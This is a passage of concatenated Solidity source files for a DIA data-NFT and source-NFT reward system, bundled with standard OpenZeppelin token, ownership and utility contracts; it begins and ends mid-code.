NUM_PRIVILEGED_RANKS; } } else { _newRank = numMinted; } for (uint256 i = 0; i < Math.max(NUM_PRIVILEGED_RANKS, numMinted); i++) { rankClaims[i] += getRankClaim(i, Math.max(NUM_PRIVILEGED_RANKS, numMinted)); } // Check that the wallet is still allowed to mint require(mintsPerWallet[_origin] < maxMintsPerWallet, "Sender has used all its mints"); // Mint data NFT _mint(_origin, _newRank, 1, ""); // Update data struct rankMinter[_newRank] = _origin; numMintedNFTs = numMinted + 1; // Update Source NFT data uint256 currSourceNFTId = sourceNFTId; diaSourceNFTImpl.notifyDataNFTMint(currSourceNFTId); mintsPerWallet[_origin] += 1; emit MintedDataNFT(_origin, numMinted, _newRank); return _newRank; } function getRankMinter(uint256 rank) external view returns (address) { return rankMinter[rank]; } function getLastClaimPayout(uint256 rank) external view returns (uint) { return lastClaimPayout[rank]; } function claimMintingPoolReward(uint256 rank) public { require(!genesisPhase); address claimer = msg.sender; require(balanceOf(claimer, rank) > 0); uint256 reward = rankClaims[rank]; // transfer reward to claimer require(ERC20(paymentToken).transfer(claimer, reward)); // Set claim to 0 for rank rankClaims[rank] = 0; emit ClaimedMintingPoolReward(rank, claimer); } function getRewardAmount(uint256 rank) public view returns (uint) { return rankClaims[rank]; } // Returns the n-th tetrahedron number function getTetrahedronNumber(uint256 n) internal pure returns (uint256) { return (n * (n + 1) * (n + 2))/ 6; } // Returns the n-th tetrahedron number from above function getInverseTetrahedronNumber(uint256 n, uint256 max) internal pure returns (uint256) { return getTetrahedronNumber(max - n); } function getTetrahedronSum(uint256 n) internal pure returns (uint256) { uint256 acc = 0; // Start at 1 so that the last minter doesn't get 0 for (uint256 i = 1; i <= n; i++) { acc += getTetrahedronNumber(i); } return acc; } function getMintedNFTs() external view returns (uint) { return numMintedNFTs; } /*function getErcRank(uint256 internalRank) public pure returns (uint256) { // Translate rank to ERC1155 ID "rank" info uint256 ercRank = 0; if (internalRank == 0) { ercRank = 0; } else if (internalRank == 1 || internalRank == 2) { ercRank = 1; } else if (internalRank == 3 || internalRank == 4 || internalRank == 5) { ercRank = 2; } else if (internalRank == 6 || internalRank == 7 || internalRank == 8 || internalRank == 9) { ercRank = 3; } else { ercRank = 4; } return ercRank; }*/ } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping (uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping (address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor (string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch( address[] memory accounts, uint256[] memory ids ) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(_msgSender() != operator, "ERC1155: setting approval status for self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); _balances[id][account] = accountBalance - amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract DIASourceNFT is Ownable, ERC1155 { address public paymentToken; mapping (address => bool) public dataNFTContractAddresses; struct SourceNFTMetadata { uint256 claimablePayout; bool exists; address admin; uint256[] parentIds; uint256[] parentPayoutShares; uint256 payoutShare; uint256 sourcePoolAmount; } mapping (uint256 => SourceNFTMetadata) public sourceNfts; constructor(address newOwner) ERC1155("https://api.diadata.org/v1/nft/source_{id}.json") { transferOwnership(newOwner); } function setMetadataUri(string memory metadataURI) onlyOwner external { _setURI(metadataURI); } function getSourcePoolAmount(uint256 sourceNftId) external view returns (uint256) { return sourceNfts[sourceNftId].sourcePoolAmount; } function setSourcePoolAmount(uint256 sourceNftId, uint256 newAmount) external { require(sourceNfts[sourceNftId].admin == msg.sender, "Source Pool Amount can only be set by the sART admin"); sourceNfts[sourceNftId].sourcePoolAmount = newAmount; } function addDataNFTContractAddress(address newAddress) onlyOwner external { require(newAddress != address(0), "New address is 0."); dataNFTContractAddresses[newAddress] = true; } function removeDataNFTContractAddress(address oldAddress) onlyOwner external { require(oldAddress != address(0), "Removed address is 0."); dataNFTContractAddresses[oldAddress] = false; } function updateAdmin(uint256 sourceNftId, address newAdmin) external { require(sourceNfts[sourceNftId].admin == msg.sender); sourceNfts[sourceNftId].admin = newAdmin; } function addParent(uint256 sourceNftId, uint256 parentId, uint256 payoutShare) external { require(sourceNfts[sourceNftId].admin == msg.sender); require(sourceNfts[sourceNftId].payoutShare >= payoutShare); require(sourceNfts[parentId].exists, "Parent NFT does not exist!"); sourceNfts[sourceNftId].payoutShare -= payoutShare; sourceNfts[sourceNftId].parentPayoutShares.push(payoutShare); sourceNfts[sourceNftId].parentIds.push(parentId); } function updateParentPayoutShare(uint256 sourceNftId, uint256 parentId, uint256 newPayoutShare) external { require(sourceNfts[sourceNftId].admin == msg.sender); uint256 arrayIndex = (2**256) - 1; // find parent ID in payout shares for (uint256 i = 0; i < sourceNfts[sourceNftId].parentPayoutShares.length; i++) { if (sourceNfts[sourceNftId].parentIds[i] == parentId) { arrayIndex = i; break; } } uint256 payoutDelta; // Check if we can distribute enough payout shares if (newPayoutShare >= sourceNfts[sourceNftId].parentPayoutShares[arrayIndex]) { payoutDelta = newPayoutShare - sourceNfts[sourceNftId].parentPayoutShares[arrayIndex]; require(sourceNfts[sourceNftId].payoutShare >= payoutDelta, "Error: Not enough shares left to increase payout!"); sourceNfts[sourceNftId].payoutShare -= payoutDelta; sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] += payoutDelta; } else { payoutDelta = sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] - newPayoutShare; require(sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] >= payoutDelta, "Error: Not enough shares left to decrease payout!"); sourceNfts[sourceNftId].payoutShare += payoutDelta; sourceNfts[sourceNftId].parentPayoutShares[arrayIndex] -= payoutDelta; } } function generateSourceToken(uint256 sourceNftId, address receiver) external onlyOwner { sourceNfts[sourceNftId].exists = true; sourceNfts[sourceNftId].admin = msg.sender; sourceNfts[sourceNftId].payoutShare = 10000; _mint(receiver, sourceNftId, 1, ""); } function notifyDataNFTMint(uint256 sourceNftId) external { require(dataNFTContractAddresses[msg.sender], "notifyDataNFTMint: Only data NFT contracts can be used to mint data NFTs"); require(sourceNfts[sourceNftId].exists, "notifyDataNFTMint: Source NFT does not exist!"); for (uint256 i = 0; i < sourceNfts[sourceNftId].parentIds.length; i++) { uint256 currentParentId = sourceNfts[sourceNftId].parentIds[i]; sourceNfts[currentParentId].claimablePayout += (sourceNfts[sourceNftId].parentPayoutShares[i] * sourceNfts[sourceNftId].sourcePoolAmount) / 10000; } sourceNfts[sourceNftId].claimablePayout += (sourceNfts[sourceNftId].payoutShare * sourceNfts[sourceNftId].sourcePoolAmount) / 10000; } function claimRewards(uint256 sourceNftId) external { address claimer = msg.sender; require(sourceNfts[sourceNftId].admin == claimer); uint256 payoutDataTokens = sourceNfts[sourceNftId].claimablePayout; require(ERC20(paymentToken).transfer(claimer, payoutDataTokens), "Token transfer failed."); sourceNfts[sourceNftId].claimablePayout = 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.0; library Strings { function uint2str(uint _i) internal pure returns (string memory _uintAsString) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len; while (_i != 0) { k = k-1; uint8 temp = (48 + uint8(_i - _i / 10 * 10)); bytes1 b1 = bytes1(temp); bstr[k] = b1; _i /= 10; } return string(bstr); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns(bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns(bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to 